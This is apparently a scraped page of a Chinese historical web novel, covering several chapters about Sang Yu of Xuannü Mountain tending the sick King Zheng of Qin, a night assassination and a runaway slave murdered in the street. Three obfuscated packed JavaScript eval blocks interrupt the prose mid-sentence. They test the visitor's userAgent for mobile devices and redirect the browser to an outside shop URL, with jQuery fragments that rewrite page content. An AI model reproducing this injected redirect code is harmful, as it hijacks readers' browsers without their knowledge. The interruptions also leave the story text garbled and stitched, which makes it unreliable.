他向少年望了一眼,少年从医药箱里拿出几包药,交给了寺人巽。 “君上的症状,与老夫所猜想的一样。这是几服退热的药。待服药之后,高热退了,病情也就好转了。但万不可掉以轻心,这几服药务必要按时给君上服下,一日三次,断不可有所延误。” 寺人巽迭声应是。 老者又继续吩咐:“君上醒来,切勿让他劳神疲体。身心调养,才是痊愈之本。此外,君上的起居亦需格外留心,饮食上宜清淡,切忌油腻重口。殿内要通风透气,但切记避免风寒侵袭。” 寺人巽恭敬地听完,将药包掩在袖下,快步出去了。 老者再次把脉后,目光转向桑语,问道:“这位姑娘,你是否懂医术?” 旁边蒙毅插话介绍道:“夏太医,这位姑娘是玄女山山主桑语,现今也是秦国的太卜丞。” “噢,原来是桑山主,久仰久仰。”太医令神色并未有变化,只是他身后的少年抬眼飞快地瞄了桑语一眼。 “我不懂医术。”桑语一口否定,“既然君上病情尚稳,我想我可以告辞了。”这话是向蒙毅说的。 “山主临事不慌,果真是非常之人。”太医令道,“病榻旁需要照拂之人,然而老夫不可在宫中久留,还望山主能相助。” 蒙毅虽未言语,但是那双眼紧盯着桑语。 桑语扭头看了一眼病榻上的人。她明白太医令的想法,无非是觉得她懂得如何照顾病人,所以才出言想要她留下。只是,桑语并不觉得,自己和秦王政之间已经熟稔到了有如此责任的地步。 纠结的情绪凝聚在她的眉宇间,终于,她深吸一口气,吞噬了所有的犹豫。 “好,我留下。”桑语说道,“不过,有些话必须说在前面。我不会医术,你们君上若是有个什么三长两短,你们可不能赖在我的身上。” 蒙毅明显松了口气,“山主请放心,”他的声音温和而坚定,“秦人,绝非是知恩不报的小人。” “既然如此,辛苦桑山主了。老夫,该告辞了。”太医令说着,缓步退出了寝殿。 桑语目送他离去,眼中闪过一丝不易察觉的忧虑。她转身行至榻边,秦王政额头上敷着的帕子已略显湿意。她俯身将旧帕取下,又从一旁的高足盘中取了一条新帕,裹了雪,仔细地为他换上。 寺人巽端着热气腾腾的药碗走了进来,“桑太卜,药煎好了。” 桑语微微颔首,伸手接过药碗。 药汁散发着一股浓郁的苦味,直扑鼻端。她眉头微皱,拈起勺子,轻轻地搅动着。药汁随着她的搅拌慢慢旋转,微微凉却下来。 然而,秦王政意识正模糊,根本无法自行饮药。桑语想了想,让蒙毅将秦王政扶起来,她一手捏开他的嘴,另一手稳稳地端起药碗,将药汁尽数灌了下去。 桑语拿了帕子给他擦拭嘴角,又替他掖好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中年人的目光在那一刻凝固,他的仓皇几乎在瞬间消散,取而代之的是一种纠结。他张开嘴,本打算发出的试探之语在喉咙中打了个转,却未能说出口。年轻人已经收回木牌,示意他跟随,转身引领他走入更加幽深的巷子。 中年人别无选择,只能紧随年轻人的步伐。在深夜的静谧之中,只有偶尔的风声和远处的狗吠打破着死寂。突然,年轻人停下脚步,转身面对中年人,那对桃花眼在夜色中显得幽冥。 “你已经被盯上了,难道不知道吗?”年轻人的声音低沉而冷静,“所以,他们想要杀了你。” 这简短的话语如同冰冷的刀刃,让中年人的心顿时沉入谷底。 他心知肚明,年轻人所说的“他们”,并非是“秦人”。 中年人扑通跪地,死死抱住年轻人的腿,“完了,完了……救我……救我,小兄弟,你我是一条船上的啊,救救我,我还不想死……” 年轻人推开他,动作中带着明显的嫌弃,“与愚蠢、鄙陋的人打交道,真是酷刑。”他用手指细致地拂去衣摆上根本不存在的尘埃,顺势露出了隐藏在袖中的暗器,“让你们散播谣言,不是让你暴露自己啊。而且你还招惹了桑语,那么,你的确不必活着了。” 中年人未及反应,年轻人手中的袖箭已经悄无声息地射出。在夜色掩映下,这一击准确无误地击中了中年人的要害。中年人的身体缓缓倒下,血染红了白雪,他在难以置信中断绝了呼吸。 年轻人面无表情,似乎早已习惯了杀戮。他取出一块洁白的帕子,轻轻擦去手上并不存在的血迹。 就在这时,几名追杀中年人的黑衣人也追了过来。他们一眼就看到了地上的尸体,立即明白了眼前的局势。他们朝年轻人恭恭敬敬地行了一礼,齐声唤道:“堂主。” 年轻人一扬下巴,“尸体不必处理了,留在这里。我有一份大礼,要送给秦王。” 他说罢,轻拂衣袖,随后消失在了幽暗的雪夜深处。那几人紧随其后,只留下雪地上的一具冰冷尸体。 15. 黑白 桑语醒来时,朝暾已上。她迷迷糊糊地睁开双目,朦胧中感到周围的一切都弥漫着一种陌生感,她的身体比大脑更快地做出了警戒的反应。 她瞬间跃起身来,迅速地从袖中抽出一把短剑。随着这些动作,一件玄色的外衣悄然滑落坠地。 桑语僵硬地停顿了一瞬,随后俯身拾起了地上的玄衣,同时也拾回了昨日的记忆。 榻上空无一人,桑语转身看去,只见秦王政正端坐在书案后,平静地看着她。他换了一身干净的衣裳,眉眼间又恢复了一贯的冷肃。 “早啊,桑山主。”秦王政说着,他的眼下仍有些憔悴的阴影,但是精神气儿已经明显恢复了不少。 桑语的眼皮跳了一下,回应了一句“早”。 明明是一段平静而充满礼节的对话,桑语却觉得周围的氛围似乎隐藏着些许微妙。这种感觉如同薄雾般缭绕在她心头,让她感到一阵不自在,又逐渐蔓延变成了不安。 桑语决定找个借口离开,“天已经亮了,我得去太卜署点卯,就先告辞了!” 她边说边后退了一步,动作虽然细微,却落入了秦王政的眼中。他的目光中掠过一丝不易察觉的怅然,但很快恢复如常,“寡人已经派人前往太卜署,告知太卜令,你昨晚被寡人召进宫中,秉烛彻夜畅谈杨朱之学,今日需得告假一日。” 桑语将原本后撤的步子收回,“君上醒来之后,可有什么不适?” 秦王政看着她眼中流露出的关心,稍感意外,“已无大碍。”他掩袖轻咳了几声,“昨晚,辛苦桑山主了,有何想要的赏赐,尽管开口。” “不用不用,什么赏赐都不用了。”桑语佯装打了个哈欠,“抱歉,我有些困乏了,君上若是没有其他事,我想先告退了。” 秦王政点了点头,桑语如获释重,轻轻颔首致意。刚刚转过身去,秦王政却开口了,“在你走出这个寝殿之后,”他说,声音虽温和,语气中却带了些威胁之意,“请忘记你昨晚所见到的任何事情,听到的任何话。” 桑语心里清楚,这不是请求,而是命令。她内心涌起一股难以言表的情绪,“我明白。君上还有其他事情需要交代吗?如果没有,那我可以走了吗?” 当她抬眼看向秦王政时,他却急忙转移了自己的视线,仿佛是刻意避免与她的眼神接触。他沉默了一会儿,似乎在心中挣扎着要说些什么,但最终只用一种平静的声音说道:“路上当心。” 没有再做任何停留,桑语转身向着门外走去。 门扉打开,又轻缓地合上。从绣有仙鹤图案的屏风后,缓缓走出了一个白衣男子。他的皮肤异常白皙,如同多年未触阳光的玉石,细腻得近乎透明。这样的肤色与他身上洁白的衣袍相映成趣,使得他看起来像是从屏风上走下的谪仙人,带着一种不食人间烟火的脱俗气质。 白衣男子的目光投向了门扉,又缓缓地收回,“我原本以为桑语这样的人,应该会很厌恶你。但事实上,她对你并无恶意,反而似乎是你在怀疑她?” 秦王政的目光落在榻边的玄衣上,“不求荣爵、不贪官禄,为我与人争辩,又这样彻夜守在病榻边……种种行径,叫寡人如何不怀疑?这个人,太奇怪了。” “的确,没有什么比‘奇怪’更适合用来形容她了。”白衣青年撩着衣袍在秦王政的对面坐下,“她偶尔会说一些我听不懂的话,但是,我喜欢听她说话,她总有些稀奇古怪的想法,是我生平从所未闻的。” 秦王政的目光在他袖口的梅花上停了刹那,默然移开。 “你似乎很了解她?” “不,我不了解她。她就像是冬日的湖面,表面上平静如镜,内里却隐藏着无法触及的秘密。不过,她其实并没有那么多的弯弯绕绕,或许君上也会觉得她奇怪,但这就是她。君上对她有所防备,实属正常之举。可是,不要伤了她的心。” 白衣男子的话语更像是一种隐晦的请求。 在这权谋交织的世界里,每一个人都像是被精心雕琢的棋子,每一步都必须走得小心翼翼,以免一招不慎满盘皆输。 然而,咸阳城里的人不会明白,桑语就是玄女山里的露珠,她拥有着这世间难得的纯粹。然而这份“纯粹”,会被人质疑,会被人提防。 白衣男子缓缓起身,转身走向不远处的漆木案几。案几上放置着一副精制的棋盘和两盒玉石雕琢的棋子。 “我们许久没有对弈了。”白衣男子的手指轻轻抚摸着棋盘的边缘,“你如今身体欠安,我终于有机会赢你一次了!” 秦王政起身走上前。他的目光在黑白之间游移,就在指尖即将触及到黑子时,一股轻风般迅速的力量介入。 “黑子先行,你得让我行第一步!”白衣男子说着,指尖已巧妙地将一枚黑子稳稳地落在了棋盘中央,占据了有利的位置。 秦王政随即笑道,“你在玄女山上待了两年,居然学会了‘打家劫舍’!” “君上此言,真是太让人心寒了。什么‘打家劫舍’?那是青龙山做的事儿,我们玄女山只行好事,不问自己兜里还有几个钱。” 秦王政轻笑了一声,抬手落下一枚白子。 两人的对弈算是真正开始了,白衣男子与秦王政,一黑一白,在棋盘上较量着。 棋局正下到你死我亡的紧要关头时,秦王政忽气定神闲地问道:“这半年时间里,算上今日,寡人总共见了你四次,为何你每次都是身着白衣?” “阿桑说我穿白衣好看,显得像个读书人。”白衣男子头也不抬地回答道。 其实桑语的原话是:你穿白色的衣服,倒是挺人模人样的,只是最好别说话,否则就成为了披着读书人外皮的大尾巴狼。 去头去尾,外加他自己的理解,也就成了所说的这句话了。 秦王政的手微微一颤,险些落错子。“阿桑?你唤她为阿桑?” “是啊!”白衣男子一心扑在棋局上,丝毫未有察觉对面人的异样,“‘山主’这个称号,只是山外人这样称呼的。在我们玄女山,年龄比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163469|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑语大的,就称呼她为‘阿桑’,年龄比桑语小的,则是称呼一声‘阿姊’。在她的眼里,从来没有‘奴’,也就不会有‘主’了。” “这两年,我与她朝夕共处,共同经历之事,那是屈指难数。阿桑,她是肆意生长的野草,不会屈服于任何规则。但凡是她认为值得去做的事,她就会去做,无论代价如何。单论‘收留亡奴’之举,怎不叫人震撼,叫人叹服!” “山上的人不少,桑语倒是立了些规矩。她不许任何人行跪拜礼,若是行了这样的礼,反而惹得她不高兴。” 白衣男子的手指在棋子上轻轻一停,然后果断地落下一子。那枚棋子触及棋盘,发出了一声几不可闻的清脆响声。 “玄女山的人,已经去了濮阳。君上可知此事?” 秦王政从棋盒中拈起一枚黑子,“这是她对人许下的承诺,随她去吧。” 白衣男子的眼眸中闪过一丝惊讶,然而他的面容依旧如玉般平静,不见波澜。 秦王政忽然说道:“既然你曾与她朝夕相处,为何现在却躲着她?你来了这里,却不敢与她见面。” 白衣男子闻言,浅浅一笑,“我与她之间,只有朝,没有夕。她若是在这里见到我,立时就会推测出所有前因后果。到时候,恐怕她会想要将我撕成碎片。我还未想好,究竟应该以何种身份与她相见。” 他说着话,在棋盘之上落下一枚黑子,瞬间将局势引向了无法逆转的终局。 “哈!”白衣男子高兴地一拍大腿,“我赢了!这么多年了,我终于赢了你一局!” 秦王政只是默默地收起棋子。 白衣男子觉得没趣,眯起眼睛问道:“你似乎有些心不在焉啊?” 秦王政依旧将黑棋放到白衣男子那边,“有一事,寡人一直很困惑。桑语,她似乎对旁人的名字非常感兴趣,或者可以说是执着。但凡遇见一个生面孔,她定是要将对方的名姓问全。” 白衣男子仔细思索了一会儿,摇了摇头,“她的确有如此习惯。究竟是为何,我也不明白。待以后有机会了,再问问她吧。” 棋局又重新摆了起来,这次白棋占尽了上风。秦王政的指尖摩挲着棋子,没有继续关于桑语的话题。 “你是何时回来的?” “两日前。离开玄女山后,我去了一趟邯郸。”白衣男子自顾自地说着,“阿母的祭日,我这个做儿子的,总该回去陪陪她。” 秦王政眸色微微一深:“今年的祭日,我居然忘记了。等过几日,我会让人去邯郸祭拜夫人。” “先前战事紧迫,君上不值得为这些小事分心,忘了就忘了。”白衣男子垂着眼眸,看不出神色,只是落子的声音变大了。“应该心怀愧疚的人,最近正得意着呢。什么亡妻,什么孤坟,都是碍眼的杂物。” 说起亡人,二人的心情都变得沉重起来,只是沉默着下棋。日光透过窗格投入卧寝之内,映照着两人深沉的面容。有纷乱的微尘飘浮在空中,棋盘上的黑白双子愈发复杂。 16. 楚橘 桑语从轺车上走下,手刚抬起准备叩门,却见大门“吱呀”一声从里面开了,椿儿的脑袋探了出来。 “阿姊,你怎么现在才回来?”椿儿将门开得更大了些,轻声埋怨道,“九姊正急得要去王宫寻你呢。” 桑语伸了个懒腰,身影在晨光中晃来荡去,“昨儿与秦王探讨杨朱之学,谈得兴起,不觉已是月上梢头,便在宫中歇了一宿。我不是让人来传话告诉你们了吗?” 椿儿在旁噘着嘴道:“谁知道那人说的是真话还是假话……” 桑语朝她比了个大拇指,“能有这份警惕,是件好事。”她环顾了一下四周,“阿九呢?迟迟呢?” “迟迟去买菜了。九姊她,她刚刚还在这儿……”椿儿的脑子里嗡了一声,“坏了,九姊她应该是去王宫打探消息了。阿姊,你要不要去将她追回来?” “不必!她寻不到我,自己就会回来的!”桑语半倚半靠在梅树上,目光在椿儿身上一转,“家里有什么现成的吃的吗?我都快饿死了!” “有!我去拿!”椿儿忙转身跑进庖厨,不一会儿,便端出来几张烤饼。 桑语倚坐在亭子里,撕着热饼吃。刚烤好的饼子,嚼起来非常香,就是有点噎。她伸手去端陶碗,打算喝点水顺顺,却看见椿儿正撑着脸看她。 桑语咽下一口凉水,“有话就说,别憋着!” “阿姊,昨夜里究竟发生了何事?”椿儿凑近桑语,眼中闪烁着好奇的光芒。桑语正衡量着该如何回答,然而不待她开口,椿儿又继续道:“不要再说什么‘探讨学问’的借口了。阿姊,你骗不了我们!” 桑语犹豫再三,还是决定说出实情,但是在此之前,有必要先叮嘱几句。她搁下陶碗,缓缓说道:“好吧好吧,我说实话。但是你们一定要守口如瓶,我并不确定此事是否会给我们招来祸端。” 她将身子弯向椿儿的肩膀,放低了声音,“昨日散值,秦王召我前去。原本只是闲谈几句,谁知秦王突然昏倒了。椿儿你说,我们玄女山的人向来侠肝义胆,遇见此情此景,能不能袖手旁观?” 椿儿坚定地道:“不能!” “对!我也是这般想的!所以,我协助宦者令将秦王送回了章台宫。谁知道这事情背后竟会如此复杂。” 桑语刻意地停顿了一下,坐直了身子。椿儿好奇地猜测道:“秦王是在装病?” “那倒不是!秦王确实病了一阵儿了,但是此事属于秘而不宣。就连太医令,都是秘密传唤来的。秦王的寝殿之内,当时就只有六个人。我呢,莫名其妙地将自己拴上了那根草绳,自然也不能轻易脱身。” 桑语说罢,椿儿慢吞吞地开了口,“阿姊所言,确有几分无奈。但是阿姊关心秦王,似乎关心得过分了点儿。阿姊,你自己不觉得吗?” 桑语微微一愣,她抬头看向椿儿,眼中闪过一丝疑惑。“有吗?你为何这么说?” 椿儿叹了口气,她知道阿姊是个聪明人,但有时候,聪明人也并非事事都聪明。 “迟迟都告诉我们了,前日里,你为了维护秦王的声誉,而不惜与人争辩。昨日,你又是如此。阿姊,你可得小心了,秦王他绝对不可能有相信玄女山的一日。” 桑语垂下眼眸,咬了一口烤饼。 她明白椿儿的担忧,但是其中的缘由,叫她如何阐述呢? 她认识秦始皇,已经将近二十年了。虽然他只存在于书本与试卷,但是这怎么不能算作“认识”呢?对于他本人,她不可能有任何爱恨。她所履行的,所维护的,只是一个后世之人的历史观罢了。 桑语看向椿儿严肃的小脸,笑着说道:“我依稀记得,前日夜里,你可不是这样的态度!怎么一日不见,你竟是有如此大的改变?” 椿儿目光有些躲闪,“我是担心阿姊!” “我相信你这句话,但是,这并不能成为你改变的理由。说吧,是不是阿九同你说了什么?” 椿儿犹豫了一下,最终还是点了点头。“九姊她说得很有道理。” 桑语刚想追问,迟迟进了院子,默然靠着院门站着,像是呆住了似的。还是椿儿看到她,随口开了个玩笑,“迟迟,外面有鬼在追你吗?” 迟迟慌乱的眼神游移到了桑语的身上,她快步走到桑语面前。桑语这才发现她的小脸惨白,“发生了何事?迟迟,你不用怕,你已经回家了!” 迟迟的眼角憋出了泪珠,她的声音颤抖,“阿姊,死人了!死人了!” 椿儿不以为然地松了口气,“我还以为你真的撞鬼了呢!死人就死人了,这世道,哪天没有死人!” “不是的,不是的!”迟迟一把攥住桑语的袖子,她的手也在微微颤抖着,“死的那人,是……是那日在酒肆中同阿姊争辩的男子。我看到他的模样了,睁着眼睛,死不瞑目。” 椿儿心中一惊,她看向迟迟,“你说的是真的?那个死人,与阿姊有关?” 迟迟点了点头,悬着的眼泪终于滑落。“我亲眼所见,绝对不会有错。” “你们仨,最近少出门。”桑语拍了拍手上沾着的碎屑,“这咸阳城啊,是要唱大戏了。” 只要别牵扯到她,她并不介意看看热闹。 迟迟不解,“阿姊何意?” 桑语抿唇摇头,“你们只需记住,最近少出门就可以了。” 椿儿忽然眼睛一亮,仿佛想起了什么重要的事情。她急忙起身,“噌”地跑进屋子,片刻后,捧出来了两颗色泽金黄的橘子。 “这是李斯大人送来的,说是生长于楚地的橘子,送给阿姊尝尝。” 桑语有些惊喜地接过橘子。橘子的清香,令她不禁回想起了自己亲手种下的那株橘子树,不知它今年是否依然果实累累。 她将橘子握在手心,舍不得吃。 “椿儿,帮我准备一份薄礼,用以贺及笄之喜。明日替我送去……”桑语说着,又该变了主意,“算了,你只需准备,我亲自去送。” 阿九回来的时候,桑语正在院子里练剑。她只是看了桑语一样,并未说什么,就直接进屋去了。 桑语知道她这是生气了,连忙让椿儿送了几瓣橘子进屋。 就在这时,门外响起了轻微的敲门声。桑语开门一见到寺人巽,立刻就想把门关上。奈何只能想想,不敢付诸行动。 她轻轻地将门掩上,确保它紧闭无声。然后,她整理了一下自己的衣袍,深吸一口气,几步之间,走入了那辆黑篷轺车。 秦王政此 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吕不韦和嬴异人,或许并非仅仅是伯乐与千里马,更是志同道合的君臣。他遇见嬴异人的那天,两个人的命运都发了改变。嬴异人的谥号是“庄襄”,虽然他在历史故事里始终扮演着“配角”,但是时人对其的评价,根据这个谥号可见一斑。 春秋战国的历史上,还有一位“庄襄公”,那就是春秋时期晋国的国君“晋襄公”,被历史称为“垂拱而治之君”。 谥号是死后由后人评定的,是对这个人一生行为的盖棺定论。谥法制度,在一定程度上对“人”进行了道德约束,尤其是那些拥有至高权力的特权阶层。 谥法制度起源于西周,没落于明清。它伴随历史的变迁而变化。在两千年的历史长河中,有一人曾经废除了谥法制度,他认为谥号有“子议父、臣议君”的嫌疑,设想着以简单明了的序数来区分历代皇帝。 这个人,就是秦始皇。 自负狂妄的决定,最后是以失败而告终。 桑语的目光缓缓一转,便瞥见了嬴政闭着眼似乎是在养神。她不想打扰他,转而透过窗幔,专心地欣赏起外面的风景。 桑语原本准备缩回车厢时,忽听得外边一片声喧,好奇心顿时被勾起,她忍不住再次将头探出车外,想要一探究竟。 轺车近旁,有一人愤慨地议论:“青天白日,如此仗势欺人,真是苍天无眼!” “若奇心之所驱,盍往观之?” 这突如其来的话语打破了车厢内的沉默,桑语微微一愣,她的目光从窗外收回,转向身旁的男人。他的眼眸依然闭着,好像刚才的话语只是她一人的幻听。 她还是轻呼一声,让轺车停下了。她跃下车去,试图挤进人群里。谁知忽然被人拽住胳膊,桑语诧异地回过头,是个老妪,黝黑又满是褶皱的脸,灰白而又稀疏的头发。 “你是外乡人吧,不晓得这咸阳城里的故事。赶快回家去,莫要凑近了看热闹。” 桑语听着老妪的话,心中的惊讶如涟漪般逐渐扩散。她抬首望向那辆轺车,然后才轻柔地将手从老妪的把握中挣脱,“多谢大娘好意!我正是因为第一次到咸阳城,才想看看有何故事。” “诶,这孩子……”老妪看着她消失的身影,脸上一阵无奈,摇摇头,挑着担子走开了。 17. 老翁 桑语奋力钻进人群的最里层,眼前的景象让她心头一紧:几个身形魁梧的彪形大汉正围住一个瘦弱的老翁。那老翁满头白发,身上穿着粗布短衣,脚上一双磨破了的草鞋,蓬头垢面,脸上甚至还挂着未干的血迹。 他倒在地上,身体蜷缩着,用双臂紧紧护住头部,浑身不停地颤抖,正在遭受着一场暴力的殴打。 “住手!住手!”桑语怒吼了一声。 汉子们霍地转过身来,他们的脸上带着明显的不悦与威胁,怒目而视。 若是寻常人面对这股凌人的压迫感,恐怕早已胆颤心惊。桑语却是轻蔑地笑了,“汝等皆壮年也,竟联手欺凌一位老翁,不害臊吗?” 老翁原本紧闭的双眼,在听到桑语的声音后,竟慢慢睁开了。他紧紧地看着桑语,似乎在默默恳求她能够伸出援手,同时也害怕会激起这些汉子的暴怒。 如此眼神落入桑语眼里,令她无法就此转身离开了。 这时,其中一个汉子沉着脸,向桑语迈出了几步,几乎要与她正面相撞。桑语负手于身后,微微地昂着头。 不屑一顾的气场,让汉子竟然有些瑟缩了,然而身后那么多双眼睛推着他,他抖了抖肩上的肌肉,用一个粗大的手指头指着桑语,警告似的说:“哟嗬,你想管闲事?快滚一边去吧!” 桑语冷哼一声,“此乃大秦的都城,你们如此肆无忌惮地横行霸道,难道不担心秦王得知后,将你们依法处置,甚至施以五马分尸的极刑吗?” 那大汉被桑语的话激怒,脸上露出凶狠的表情:“嘿!你这个臭货!竟然敢这样诅咒我们?看我不打死你!”说着,他挽起衣袖,气势汹汹地朝桑语扑去。 桑语敏捷地闪到一旁,躲过了大汉的猛扑。她顺势抓住大汉的胳膊,利用他前冲的力量,巧妙地一摔,将他撂倒在地。 大汉重重地摔在地上,他迅速爬起来,瞪大了眼睛恶狠狠地盯着桑语,“贱婆娘,看来不给点颜色看看,你就不知道自己几斤几两!呸,老子要干了你!” 桑语揉了揉耳朵,轻声嘀咕了一句:“烦死了。”她眼中寒光一闪,几乎是眨眼之间便到了大汉面前。她右手轻轻一挥,看似绵柔无力,但听一声闷响,那大汉已被打得飞起,重重落在一旁的石阶上。 在众人震惊的目光中,桑语的右脚踏在了他的胸口上,冷眼俯视着这个刚刚还在口出狂言的男人。 “阁下刚才似乎很是得意忘形呢。”桑语的声音清冷,透着一丝讥讽。 那大汉满脸通红,明白眼前的女子不容小觑,他开始求饶:“女侠,饶了我吧!我再也不敢了!” 桑语并未真的打算伤他性命,于是收回了踏在其胸口的脚,并向后退了一步。与此同时,听得一道低沉的男声传来: “发生何事了?为何这般喧闹?” 桑语循声望去,只见围观的人群自然而然地让开了一条通道。 来人是个高大男子,脸上有了些许岁月的痕迹,通身却是经由岁月沉淀的魅力。他的眼睛尤其突出,炯炯有神,深黑的眼睛里透着精明。虽然穿得很严实,还是一眼能看出他魁梧壮实的身躯。 桑语心内一凛,怎么遇见了这么个蔫坏的呢? 嫪毐见了她,同样愣了下,但很快便客气地问道,“桑山主怎么在此?” 他说话声音并不大,每一个字却都清楚地传入在场众人的耳畔。那大汉瞬间面如死灰,“你……你是玄女山的桑语!”眼中满是不敢置信的神色。 桑语笑着打哈哈,“自然是有事才来的。” 不知为何,她总觉得自从嫪毐出现之后,这几个张牙舞爪的恶兽就变成了低眉顺眼的猫。 嫪毐转身对旁边的大汉一招手,那大汉立即躬身上前。嫪毐两眼紧盯着他,厉声问道:“此翁与你有何冤仇?” “回,回主……”大汉说着,见嫪毐瞪了他一眼,似是阻止他往下说。大汉会意,随即便换过口来说道,“此人是我家主人的奴隶,竟敢私自逃跑!我等皆是奉命,前来追回此人。此人不听劝,我等只好先将他教训一番了。” 本来抖如糠筛的老翁,却突然冷静下来了。他喘着气冷笑道:“是呵,奴隶不是人,只是能言的牲畜。连活都活不下去,岂会怕死?快,你们这群狗,来打死我吧!要是打不死我,你们就是连狗也不如!要是我死了,我定要化为厉鬼,纠缠你们一生!来吧,打死我!我要是喊一声疼,我就是孬种!来呀,狗养的!” 老翁还说了一段土话,应该是在诅咒和辱骂。 壮汉们气得脸都变了色,一人抄起长刀来要砍去,却被同伴拉住。见同伴尽朝自己使眼色,他仍是气急道: “满嘴喷粪的贱奴!主人给予恩赐,你不知感谢,反而心生逆心。看来,只有抽上几鞭子,才能让你知错!你住着主人的房屋,吃着主人的粮食,居然胆敢想要逃跑?就算今日不打死你,你也迟早会死无完尸!” “闭嘴!”嫪毐狠狠地瞪了那人一眼,示意身旁的随从去搀扶起老翁。 老翁艰难地站起身来,晃悠地走到嫪毐与桑语面前,作势要下跪道谢。 桑语忙伸手拦住他,“您身上有伤,不用了,不用了。” 嫪毐开口问道:“你是何名?家中几个人口?” 老翁不禁心生防备,只垂首回道:“贱名罢了,不足辱没贵人耳朵。家中老弱六人,妻儿饥寒,奴才生逃跑之念。” 嫪毐似乎并不计较,回头向另一随从道:“取五斗脱粟,八方肴肉,并取十吊钱。将这些东西,送至他家。” 老翁一听,顿时老泪纵横,扑通一声跪倒在地,磕头如鼓,“奴定日夜祈告上天,感念贵人的大恩大德。” 嫪毐笑得一脸莫测,“不过是路见不平,举手之劳罢了。你不必谢我,将来好好活着便是。” 老翁又磕了几个头,满眼乞求地望着嫪毐,“贵人府上,可缺奴隶?” 既然一生无法脱离“奴隶”的身份,若是能遇上一个善良的奴隶主,倒也是福气了。 嫪毐摇摇头,“吾家业淡薄,暂且不缺。” 老翁眼中满是失落,他的身体颤颤巍巍的,起身时险些站不稳。老翁只是垂首而立,脸上满是忧色。 嫪毐见状,安慰道:“老翁不必忧心。我与你家主人相识,回头我替你说说情,你家主人定会饶恕你的。” 桑语闻言看了他一眼,她属实是有些惊讶。嫪毐此言此行,与她想象中的出入实在是太大了。 嫪毐在桑语的眼中,一直就是一株常春藤。明弱暗强,似乎是依附树干而生,实则是迂回地爬上顶峰。直至有一天,他会吸尽大树的精华,甚至会取而代之。无意路过此处的人,只会看到绿意盎然的常春藤,看不到枝蔓下的树干。 老翁抬起眼来,脸上无惊也无喜。他又拜道:“多谢二位贵人,奴告辞。” 嫪毐微微一点头,随即侧身,为其让开路来。 老翁两只脚一深一浅,趔趔趄趄的。 桑语既放心又不放心,盯着他的背影看了好一会儿,这才准备回到轺车中。谁知刚一转身,就看到一大汉将手中长剑掷出,正是方才被嫪毐问话的那人。 那柄剑直直地刺穿了老翁,枯槁而苍老的躯体无声地倒下,泛黑的血流了一地。不知从何处跑出一只野狗,鼻子凑近闻了闻,仰头嚎了两声。 这突如其来的变故,令所有人愕然。 地上的血越流越多,这一幕残忍而又血腥。有的人捂住了眼睛,转身匆匆离开。有的人则麻木地摇头,还不忘顺口评论几句。 桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163471|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语觉得胸口有些难受。这已经不是她初次目睹杀戮,然而,尽管经历了数次,那份心理的震颤却始终无法抑制。 一个奴隶,就这样死了,无人为他哭泣,也无人为他申冤。 “桑山主!桑山主!” 嫪毐在唤她。 凶手已经被他的随从按倒在地。 嫪毐向桑语拱了一拱手道,“杀人之人,已被在下的家仆擒获,即刻便将其送往其主人处。桑山主,在下便先告辞了。” 桑语回礼拜送。 这四周的看客早已散去,只留下一具尸体,街市依旧太平。 俄见一人,神情哀恸,似又在努力隐忍着。 桑语刚走上前去,那人立即准备撒腿跑。好在桑语及时地拽住她的头发,“你别跑,我不是坏人!” 女子双手捂住头发,“疼!你先松手!” “不!”桑语将手稍微松了一些,“你先回答我的问题,我再松手!” 女子简直欲哭无泪,“祖宗啊,你快说啊!” “你……是不是认识那个老翁?” 女子明显顿了顿,“什么老翁?我不认识!你可以放开我了吧!” 桑语用力拽了拽头发,女子顿时觉得头皮一阵发疼,“好好好!我说实话,你莫要继续拽了!本来就不多,你若是再多拽几下,就没有了!” 桑语觉得聒噪,“说重点!” “我的确认识那老翁,但是不熟!真的不熟!只是见过几面。我阿母,与他家是同村的。” “这么说,你知道他家住哪儿?” “那是当然了!” 桑语终于松开手,那女子立刻绾起所有头发。本想以其人之道,还治其人之身,但见其穿着打扮不俗,故而不敢下手。 “抱歉!我怕你跑了,只得出此下策!”桑语一脸愧疚地道歉,她举起双手,“你看,我没有伤害到你的头发哦!” 女子心中怒气消了一半,反而笑问道:“你到底想要做什么?奇奇怪怪,神神叨叨的!” 桑语抬手将耳上的珍珠耳饰摘下,将它塞进女子手中,“我见你面善,所以选择相信你。我出门着急,没带什么钱。这珍珠,你拿去换些钱。你留一些,其它的交给老翁的家人。虽然我帮不上什么忙,但也不能看着一个老人曝尸街上。” 女子低头看看手中的珍珠,真亮,真大,的确应该值钱。她吸吸鼻子,将珍珠推回去,“不不不,老翁可怜,我也不会眼瞅着他被人扔进乱葬岗。这珍珠,你还是收起来,我我我,受不起!” 桑语听后,反而放心了许多。几经推辞,那名女子最终还是收下了珍珠。 传来一声马的响鼻声,桑语这才意识到秦王政已经等待她许久了,她连忙折身往回走。 